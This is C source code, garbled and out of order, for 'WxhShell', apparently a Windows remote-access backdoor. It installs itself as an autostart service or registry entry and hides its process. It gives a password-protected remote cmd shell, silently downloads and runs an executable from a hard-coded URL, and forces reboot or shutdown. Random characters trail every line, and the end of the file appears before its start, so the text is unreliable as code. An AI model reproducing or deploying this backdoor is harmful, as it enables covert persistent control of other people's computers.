    if(Boot(SHUTDOWN)) e|Mw9DIW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $X]Z-RCK3  
    else { R*>EbOuI  
    closesocket(wsh); 0&2eiMKG?n  
    ExitThread(0); Q)ZbnR2Z8  
    } %lqrq<Xn  
    break; 8Lh[>|~=  
    } u#`'|ko \9  
  // 获取shell qY|NA)E)Bp  
  case 's': { "<1-9CMl  
    CmdShell(wsh); Vo(V<2lw}  
    closesocket(wsh); YA*E93J0  
    ExitThread(0); G:Cgq\+R  
    break;  !AFii:#  
  } X DAwE  
  // 退出 MB3 N3,yL  
  case 'x': { C.Re*;EI,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a 8.Xy])!  
    CloseIt(wsh); W;ADc2#)  
    break; %\?Gzc_  
    } [Ontip  
  // 离开 u\P)x~-TM  
  case 'q': { y];@ M<<?e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @j+X>TD  
    closesocket(wsh); 'Z`fZ5q  
    WSACleanup(); _VI3b$  
    exit(1); ~=9]M.$  
    break; CQ^I;[=d  
        } kf2e-)uUs  
  } G L8 N!,  
  } B6"pw0  
)`-vN^1S-  
  // 提示信息 of>}fJ_p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H'wh0K(  
} 6I~{~YvB"  
  } H <ugc  
e3x;(@j  
  return; hsHtLH+@  
} n8 e4`-cY  
.9KW| (uW  
// shell模块句柄 Nj|~3 *KO  
int CmdShell(SOCKET sock) z+F:_  
{ Cswa5 l`af  
STARTUPINFO si; @ )m9#F  
ZeroMemory(&si,sizeof(si)); jS'hs>Ot  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hv 8j$2m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^9xsbv B0  
PROCESS_INFORMATION ProcessInfo; kH>^3( Q\  
char cmdline[]="cmd"; 2Wq/_:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q2K)Nl >_  
  return 0; `%Uz0hF  
} ?KtvXTy{m  
d&5GkD.P  
// 自身启动模式 B)L;ja  
int StartFromService(void) AAld2"r  
{ IX y  $  
typedef struct qD/FxR-!  
{ a@U0s+V&a0  
  DWORD ExitStatus; v}-jls  
  DWORD PebBaseAddress; p:gM?2p1  
  DWORD AffinityMask; E!v^j=h$u  
  DWORD BasePriority; Mq2[^l!qu  
  ULONG UniqueProcessId; Trwk9 +  
  ULONG InheritedFromUniqueProcessId; f+D a W  
}   PROCESS_BASIC_INFORMATION; 8et.A  
TLiA>`r=  
PROCNTQSIP NtQueryInformationProcess; B#9T6|2  
'ktWKW$ D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O4w:BWVsn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ; #^Jy#)  
}^ G&n';J  
  HANDLE             hProcess; _HkB+D0v  
  PROCESS_BASIC_INFORMATION pbi; w-(^w9_e  
V;SXa|,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x8wal[6  
  if(NULL == hInst ) return 0; ,1g*0W^  
0A>Fl*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7+^4v(s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [Q*aJLG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HOY9{>E}z  
/"%QIy'{  
  if (!NtQueryInformationProcess) return 0; Il9pL~u  
A`qb5LLJ)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Al(u|LbQ  
  if(!hProcess) return 0; :i_k A'dl&  
/o=,\kM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p$A`qx<M_  
U?:<clh  
  CloseHandle(hProcess); IRW%*W#  
J((.zLvz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8{Id+Q>Vo,  
if(hProcess==NULL) return 0; Sk 10"DB/  
Z/@%MEU[zl  
HMODULE hMod; `nDgwp:b"  
char procName[255]; 1*Ui=M4  
unsigned long cbNeeded; >{]mN5  
qg;f h]j%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _Ak?i\  
T c{]w?V  
  CloseHandle(hProcess); =2=n   
Q9 * N/2+  
if(strstr(procName,"services")) return 1; // 以服务启动 7VwLyy  
P"WnU'+  
  return 0; // 注册表启动 h.W;Dmf6]  
} );.q:"  
;qF#!Kb5  
// 主模块 (~>L \]!  
int StartWxhshell(LPSTR lpCmdLine) Ck0R%|  
{ Z 7M%}V%  
  SOCKET wsl; gB?~!J?  
BOOL val=TRUE; ~CB6+t>  
  int port=0; iEf6oM  
  struct sockaddr_in door; Eb<iR)e H=  
= ?hx+-'  
  if(wscfg.ws_autoins) Install(); ]8XY "2b  
vQ}'4i8(  
port=atoi(lpCmdLine); fYzOT, c  
yEfV8aY'*  
if(port<=0) port=wscfg.ws_port; |,ZmRW^2K  
{m/\AG)1I  
  WSADATA data; hL,+wJ+A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D~xU r )E  
* QF3l0&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6_wf $(im  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @lP<Mq~]  
  door.sin_family = AF_INET; [[PUK{P0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Eqg(U0k0  
  door.sin_port = htons(port); @:~O  
f*g>~!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t?0D*!D  
closesocket(wsl); rwlV\BU  
return 1; AVR9G^ce_  
} Lw]:/x  
~nk'ZJ   
  if(listen(wsl,2) == INVALID_SOCKET) { nuB@Fkr  
closesocket(wsl); F` ifHO  
return 1; o 2 5kFD  
} x hFQjV?V  
  Wxhshell(wsl); *My?l75  
  WSACleanup(); 3d.JV'C'c  
C'hI{4@P  
return 0; X"W%(x`w  
In0kP"  
} *a@pZI0'  
.Jz$)R  
// 以NT服务方式启动 "9 -duDg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y'n TyH  
{ HB4Hz0Fa  
DWORD   status = 0; [ed%"f  
  DWORD   specificError = 0xfffffff; HB$*xS1  
>,`/ z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Tv0|e'^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z+1#p.F$@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'A,&9E{%1  
  serviceStatus.dwWin32ExitCode     = 0; Lrr^obc  
  serviceStatus.dwServiceSpecificExitCode = 0; 2k[i7Rl \c  
  serviceStatus.dwCheckPoint       = 0; '!!w|k d  
  serviceStatus.dwWaitHint       = 0; *_$%Tv.]  
buRXzSR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I'o9.B8%#  
  if (hServiceStatusHandle==0) return; X9nt;A2TU+  
<GShm~XD2  
status = GetLastError(); j8@YoD5o  
  if (status!=NO_ERROR) :YB:)wV,P  
{ yg "u^*r&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Etj*3/n|  
    serviceStatus.dwCheckPoint       = 0; A^JeB<, 5a  
    serviceStatus.dwWaitHint       = 0; r+;C}[E  
    serviceStatus.dwWin32ExitCode     = status; jz|zq\Eek  
    serviceStatus.dwServiceSpecificExitCode = specificError; \qAMs^1-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vZC2F  
    return; w?.0r6j  
  } 8^zI  
+|Q8P?YD_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /40Z-'Bl=(  
  serviceStatus.dwCheckPoint       = 0; A~-e?.  
  serviceStatus.dwWaitHint       = 0; K$Y!d"D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H!&]Di1Eh  
} TeQWrm s  
BpCzmU  
// 处理NT服务事件,比如:启动、停止 PDX^MYoN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O!sZMGF$p  
{ ]?^m;~MQZ  
switch(fdwControl) (]>c8;o#b  
{ 6Pl$DSu  
case SERVICE_CONTROL_STOP: 'M+iVF6  
  serviceStatus.dwWin32ExitCode = 0; !1dCk/D&)8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zb~!> QIz{  
  serviceStatus.dwCheckPoint   = 0; d>  Y9g  
  serviceStatus.dwWaitHint     = 0; au5 74tj  
  { :n>m">4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >i]r,j8!  
  } !:`QX\Ux  
  return; B{QY-F~  
case SERVICE_CONTROL_PAUSE: E/LR(d_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;,Sl+)@h  
  break; VbK| VON[  
case SERVICE_CONTROL_CONTINUE: 8;.WX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S8<O$^L^  
  break; G[6V=G  
case SERVICE_CONTROL_INTERROGATE: rO 6oVz#x  
  break; 'HkV_d[li  
}; " 9 h]P^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;hmy7M1%  
} 9pStArF?F0  
>va#PFHA  
// 标准应用程序主函数 E@R7b(:*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FbJlyWND  
{ `pm6Ts{,  
e0+N1kY  
// 获取操作系统版本 kfg9l?R$I<  
OsIsNt=GetOsVer(); 5>"$95D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hFZ7{pj  
uOs 8|pj,  
  // 从命令行安装 [$]vi`c2  
  if(strpbrk(lpCmdLine,"iI")) Install(); WWc{]R^D  
?H0 #{!s  
  // 下载执行文件 }X)mZyM[  
if(wscfg.ws_downexe) { wvcG <sj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W<xu*U(A  
  WinExec(wscfg.ws_filenam,SW_HIDE); +I5@Gys  
} 4At%{E  
vEvVT]g[V  
if(!OsIsNt) { &2Q4{i  
// 如果时win9x,隐藏进程并且设置为注册表启动 @.a[2,o_  
HideProc(); {b"V7vn,  
StartWxhshell(lpCmdLine); ?^Q!=W<7  
} xYRN~nr  
else .4Jea#M&x  
  if(StartFromService()) zdzTJiY2[Z  
  // 以服务方式启动 4W*52*'F,  
  StartServiceCtrlDispatcher(DispatchTable); e54wAypPOl  
else weU'3nNN  
  // 普通方式启动 PR|F-/o  
  StartWxhshell(lpCmdLine); vtKQvQ  
>93vMk~hU  
return 0;  T+9#P4  
} ly7\H3  
#pErGz'{  
/9,!)/j  
|yx]TD{~P  
=========================================== PF2PMEBx!  
>Olg lUzA  
G<#9`  
[ma'11?G  
z8G1[ElY  
lRF04  
"  5f(yF  
(, /`*GC  
#include <stdio.h> ] +<[D2f  
#include <string.h> 0/S|h"-L  
#include <windows.h> ~,WG284  
#include <winsock2.h> epI&R)]   
#include <winsvc.h> 0?8O9i  
#include <urlmon.h> }><Vc ouJ[  
9E5Ec~l  
#pragma comment (lib, "Ws2_32.lib") N DZ :`D  
#pragma comment (lib, "urlmon.lib") umhg O.!  
0+L:+S  
#define MAX_USER   100 // 最大客户端连接数 sG[v vm  
#define BUF_SOCK   200 // sock buffer M{cF14cQ  
#define KEY_BUFF   255 // 输入 buffer kU{+@MA;  
/'k4NXnW3  
#define REBOOT     0   // 重启 b;G3&R]  
#define SHUTDOWN   1   // 关机 HX%lL }E  
NF8'O  
#define DEF_PORT   5000 // 监听端口 W/DSj :  
3 eT5~Lbs  
#define REG_LEN     16   // 注册表键长度 z*n  
#define SVC_LEN     80   // NT服务名长度 .< 7M4Z  
N3O3V5':!  
// 从dll定义API FcVQ_6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ntR@[)K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6a6;]lsG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); HHVCw7r0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :/UO3 c(  
p}H:t24Cr5  
// wxhshell配置信息 KZrg4TEVi  
struct WSCFG { {9?++G"\  
  int ws_port;         // 监听端口 .TZ0F xW  
  char ws_passstr[REG_LEN]; // 口令 7QV@lR<C2R  
  int ws_autoins;       // 安装标记, 1=yes 0=no zwJB.4@  
  char ws_regname[REG_LEN]; // 注册表键名 Q^13KWvuV  
  char ws_svcname[REG_LEN]; // 服务名 c=d` DJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4SRjF$Bsz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^u2unZ9BK!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TQ`s&8"P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )(b, v/:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bd|ZhRsL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oKyl2jg+,  
MpY/G%3  
}; Rhi`4wo0$  
~dc o  
// default Wxhshell configuration )R %>g-dw  
struct WSCFG wscfg={DEF_PORT, ;OC~,?O5  
    "xuhuanlingzhe", eBT+|  
    1, hk*@<ff  
    "Wxhshell", ]bcAbCZ@  
    "Wxhshell", 2/o_,k  
            "WxhShell Service", vciO={M  
    "Wrsky Windows CmdShell Service", <Wr n/%tL  
    "Please Input Your Password: ", Y@(izC&h  
  1, hW<TP'Zm*  
  "http://www.wrsky.com/wxhshell.exe", $Gs9"~z?;  
  "Wxhshell.exe" #(pY~\  
    }; 7a0T]  
r..&6-%:N  
// 消息定义模块 $sILCn  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  " fXs!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E;1QD/E$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aU\R!Y$/"  
char *msg_ws_ext="\n\rExit."; f]sc[_n]  
char *msg_ws_end="\n\rQuit."; \wR;N/tg  
char *msg_ws_boot="\n\rReboot..."; bU$f4J  
char *msg_ws_poff="\n\rShutdown..."; e^=b#!}-5:  
char *msg_ws_down="\n\rSave to "; =|+%^)E  
 K P@bz  
char *msg_ws_err="\n\rErr!"; \d)HwO  
char *msg_ws_ok="\n\rOK!"; R6cd;| fan  
$G<!+^T  
char ExeFile[MAX_PATH]; } *:H\GL  
int nUser = 0; E$"`|Df  
HANDLE handles[MAX_USER]; V$Zl]f$S  
int OsIsNt; 6N\f>c  
m!- R}PQC  
SERVICE_STATUS       serviceStatus; MV.&GUez{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2#81oz&K  
Zdfruzl&`  
// 函数声明 a&z$4!wQB  
int Install(void); aN5"[&  
int Uninstall(void); Xk>YiV",?  
int DownloadFile(char *sURL, SOCKET wsh); BMdcW MYU\  
int Boot(int flag); P=<>H9p:o  
void HideProc(void); P. Kfoos  
int GetOsVer(void); (jI_Dk;  
int Wxhshell(SOCKET wsl); xLShMv}  
void TalkWithClient(void *cs); ThiM6Hb  
int CmdShell(SOCKET sock); ^aI$97Li  
int StartFromService(void); aY8QYK ;?^  
int StartWxhshell(LPSTR lpCmdLine); >F5E^DY  
^Lc, w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tk\)]kj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); " ?=$(7uc  
D KRF#*[=d  
// 数据结构和表定义 qFE(H1hy  
SERVICE_TABLE_ENTRY DispatchTable[] = N{&Hq4^c  
{ OrY^?E  
{wscfg.ws_svcname, NTServiceMain}, \AOHZ r  
{NULL, NULL} uskJ(!  
}; bLSUF`-z  
'/F%  ff  
// 自我安装 Ex+E66bE  
int Install(void) pGcijD  
{ 9j>LU<Z  
  char svExeFile[MAX_PATH]; [_-[S  
  HKEY key; AOM@~qyc   
  strcpy(svExeFile,ExeFile); 63SmQsv  
lho0Xy gn  
// 如果是win9x系统,修改注册表设为自启动 UT%?3}*u"  
if(!OsIsNt) { u= Vt3%q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f {j`d&|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PouWRGS_  
  RegCloseKey(key); tHmV4H$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +[":W?j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KkZS6rD\  
  RegCloseKey(key); MDauHtF,  
  return 0; <O3,b:vw  
    } ldWrv7. P  
  } \hD jZ  
} @ r/f  
else { AvcN,  
E`#/m@:|-  
// 如果是NT以上系统,安装为系统服务 (/jZ &4T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t_hr${  
if (schSCManager!=0) Gj&`+!\  
{ do DpTwvh  
  SC_HANDLE schService = CreateService Yu: !l>  
  ( {YIf rM  
  schSCManager, #@:GLmD%  
  wscfg.ws_svcname, n{=Nf|=  
  wscfg.ws_svcdisp, s&L 6C[  
  SERVICE_ALL_ACCESS, 1q/Q@O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;uaZp.<um&  
  SERVICE_AUTO_START, I` q"  
  SERVICE_ERROR_NORMAL, =2/[n8pSsM  
  svExeFile, ?@H/;hB[|  
  NULL, )KKmV6>b  
  NULL, K9c5HuGy  
  NULL, [4b_`L  
  NULL, 'a=' (,%  
  NULL /^':5"=o  
  ); f5,!,]XO  
  if (schService!=0) oT*qMLdn  
  { G$E+qk nJL  
  CloseServiceHandle(schService); Q6hWHfS  
  CloseServiceHandle(schSCManager); '\R/-.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h`pXUnEZ  
  strcat(svExeFile,wscfg.ws_svcname); ~JTp8E9kw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y(C-o[-N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6.k>J{GG  
  RegCloseKey(key); nE=,=K~  
  return 0; PLhlbzcf  
    } n0opb [?  
  } AZfW  
  CloseServiceHandle(schSCManager); T*rx5*:o  
} C]NL9Gq`  
} >tTu1#t  
 @"L*!  
return 1; -}9>#<v  
} ':DLv{R  
O9R[F  
// 自我卸载 zA*I=3E(  
int Uninstall(void) Gk]6WLi  
{ UBM :.*wN  
  HKEY key; ev9ltl{  
{R}Kt;L:Ut  
if(!OsIsNt) { Q$8K-5U%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N_R(i3c6U!  
  RegDeleteValue(key,wscfg.ws_regname); @h!nVf%fe  
  RegCloseKey(key); ' ;3#t(J;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +|zcjI'=O  
  RegDeleteValue(key,wscfg.ws_regname); LyG&FOf?  
  RegCloseKey(key); L<0eIw  
  return 0; pvYBhTz0  
  } rVv4R/3+   
} cCO2w2A[*  
} t>JPK_b0  
else { 69$gPY'3  
BMYvxSsm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ` *q>E  
if (schSCManager!=0) u:M)JG  
{ ?C(3TKH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o+F < r#  
  if (schService!=0) uUJH^pW  
  { 8 DPn5E#M1  
  if(DeleteService(schService)!=0) { @7`=0;g  
  CloseServiceHandle(schService); Q/`W[Et  
  CloseServiceHandle(schSCManager); U?=-V8#M|  
  return 0; D\^\_r):  
  } Zmz $ hr  
  CloseServiceHandle(schService); )8%m|v#W  
  } 0+Z?9$a1  
  CloseServiceHandle(schSCManager); s@(ME1j(U!  
} T&^b~T(y  
} Kp>fOe'KW  
T\w{&3ONm  
return 1; uU/'oZ?  
} B{!*OC{l  
:gTtWJ04]  
// 从指定url下载文件 ..Bf-)w  
int DownloadFile(char *sURL, SOCKET wsh) _*++xF1  
{ EIF"{,m  
  HRESULT hr; }U@(S>,%  
char seps[]= "/"; <-"[9 w  
char *token;  =@! s[  
char *file; jIck!  
char myURL[MAX_PATH]; eFC~&L;  
char myFILE[MAX_PATH]; $S/EINc  
I ;F\'P)e  
strcpy(myURL,sURL); uZa)N-=b2  
  token=strtok(myURL,seps); 3|BB#;  
  while(token!=NULL) 6 -BC/  
  { NIG* }[}P  
    file=token; lX64IvG8+o  
  token=strtok(NULL,seps); vngn^2  
  } qVE <voB8  
dg#w!etB  
GetCurrentDirectory(MAX_PATH,myFILE); |LirjC4  
strcat(myFILE, "\\"); 465?,EpS  
strcat(myFILE, file); q<Y#-Io%3  
  send(wsh,myFILE,strlen(myFILE),0); 9\>{1"a  
send(wsh,"...",3,0); QBjvbWoIG(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B z? (?fyd  
  if(hr==S_OK) C);I[H4Yfw  
return 0; C?g<P0h  
else \lF-]vz*  
return 1; A'n{K#  
+iw4>0pi  
} @4Lol2  
;)z+dd#3  
// 系统电源模块 a}[rk*QmZ  
int Boot(int flag) $V;0z~&!'  
{ PV-B<Y  
  HANDLE hToken; ))I[@D1b  
  TOKEN_PRIVILEGES tkp; Wa9yyc  
lQpl8>  
  if(OsIsNt) { "Fz1:VV&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w,LB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 's$/-AV  
    tkp.PrivilegeCount = 1; 2:&L|;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; { T?1v*.[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DK1{Z;Z  
if(flag==REBOOT) { T }Wse{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Wm/0Pi  
  return 0; p5J!j I=  
} FY pspv?4  
else { qfF2S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X?Or.  
  return 0; wI?AZd;`'  
} Dlz1"|SF  
  } gUme({h&|  
  else { `Dp4Z>| K  
if(flag==REBOOT) { 7h`t-6<!q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fvj  
  return 0; +@~e9ZG%a  
} `E |>K\  
else { -_bDbYL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [^gb6W9Y  
  return 0; !{vZvy"  
} SDjJ?K  
} py6O\` \  
ON"p^o>/_?  
return 1; kNX8y--  
} 9Dd`x7$ a  
A @e!~  
// win9x进程隐藏模块 =KHX_ib  
void HideProc(void) Z<'iT%6+r  
{ l@`n4U.Gwl  
A-u!{F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \vE-;,  
  if ( hKernel != NULL ) rdH^"(  
  { N!<X% Ym  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y:k7eE"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .2y @@g  
    FreeLibrary(hKernel); Gn;^]8d  
  } I_|W'%N]  
% -.V6}V  
return;  p4P"U  
} d"S\j@  
XII',&  
// 获取操作系统版本 nLR   
int GetOsVer(void) qA t#0  
{ \"d\b><R  
  OSVERSIONINFO winfo; OX[r\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U"Y/PBs,  
  GetVersionEx(&winfo); ek d[|g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EmyE%$*T  
  return 1; h]}DMVV]  
  else @B!gxW\C  
  return 0; Q)5V3Q]@^  
} (W#^-*$R  
Ac\e>N  
// 客户端句柄模块 4W=fQx]  
int Wxhshell(SOCKET wsl) H%{k.#O  
{ ITD&w g  
  SOCKET wsh; c`oW-K{  
  struct sockaddr_in client; C%#u2C2  
  DWORD myID; :W$- b  
#Vy:6O  
  while(nUser<MAX_USER) GyfKSj;  
{ !P gwFJ  
  int nSize=sizeof(client); kpMo7n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8_M"lU0[  
  if(wsh==INVALID_SOCKET) return 1; 'ZAIe7i&  
"i&9RA! 1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >uFFTik  
if(handles[nUser]==0) Nl^u A  
  closesocket(wsh); z Ece>=C  
else spWo{  
  nUser++; BW ux!  
  } ;_0frX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9)uJ\NMy  
I/u>Gt  
  return 0; *DvQnj  
} li0)<("/  
z&\N^tBv  
// 关闭 socket 7tne/Yz  
void CloseIt(SOCKET wsh) U#{(*)qr  
{ gw$?&[wY  
closesocket(wsh); AuY*x;~  
nUser--; V;hO1xfR3&  
ExitThread(0); WT}x Cni  
} ^-F#"i|Cn  
w%(D4ldp   
// 客户端请求句柄 x:c'ek  
void TalkWithClient(void *cs) Z6&bUZF$bE  
{ ZuKOscVS#T  
+}eK8>2  
  SOCKET wsh=(SOCKET)cs;  )|W6Z  
  char pwd[SVC_LEN]; -J0I2D  
  char cmd[KEY_BUFF]; ux)Wh.5  
char chr[1]; B7sBO6Z$J  
int i,j; )S}.QrG  
{U4{v=,!I  
  while (nUser < MAX_USER) { w|4CBll  
w=^~M[%w  
if(wscfg.ws_passstr) { (3=bKcD'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E:[!)UG|y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .N7&Jy  
  //ZeroMemory(pwd,KEY_BUFF); 7/K'nA  
      i=0; l9 n$cv^  
  while(i<SVC_LEN) { |W*2L] &  
SJE!14|e  
  // 设置超时 _qH]OSo  
  fd_set FdRead; - %?> 1n  
  struct timeval TimeOut; ONUa7  
  FD_ZERO(&FdRead); -s ^cy+jd  
  FD_SET(wsh,&FdRead); IDdu2HNu  
  TimeOut.tv_sec=8; e0IGx]5i  
  TimeOut.tv_usec=0; pp2 Jy{\d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); OaY]}4tI$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6U,:J'5gP  
s !I I}'Je  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X?]Mzcu  
  pwd=chr[0]; iZ0(a   
  if(chr[0]==0xd || chr[0]==0xa) { 2o 7o~r  
  pwd=0; :u2tu60&MJ  
  break; ?.ofs}  
  }  < B!f;  
  i++; [=:4^S|M  
    } COd~H  
ES#q/yab5  
  // 如果是非法用户,关闭 socket w1 A-_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); slLTZ]  
} iztgk/(+G  
;cb='s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }}wSns  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [Uj,, y.wB  
2(GLc*B>  
while(1) { 7j"B-k#  
Xg}~\|n  
  ZeroMemory(cmd,KEY_BUFF); 1+-F3ROP  
|~=4Z rcCP  
      // 自动支持客户端 telnet标准   b+BX >$  
  j=0; 1z3I^gI*i  
  while(j<KEY_BUFF) { ],wzZhA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;bq EfV0`2  
  cmd[j]=chr[0]; |^GN<y^cn  
  if(chr[0]==0xa || chr[0]==0xd) { aIN?|Ch  
  cmd[j]=0; w Qp{z  
  break; 11JO[  
  } 1$"wN z  
  j++; mPi{:  
    } `=8G?3  
RY*s}f  
  // 下载文件 -} +PE 4fh  
  if(strstr(cmd,"http://")) { vpk~,D07yR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2V*<J:;wb  
  if(DownloadFile(cmd,wsh)) ' @j8tK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xCm`g {  
  else ~|e H8@o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !|#1z}(  
  } YZp]vlm~  
  else { [m]O^Hp{{  
O[&G6+  
    switch(cmd[0]) { [kZe6gYP&  
  6j~'>w(F  
  // 帮助 $ZE"o`=7  
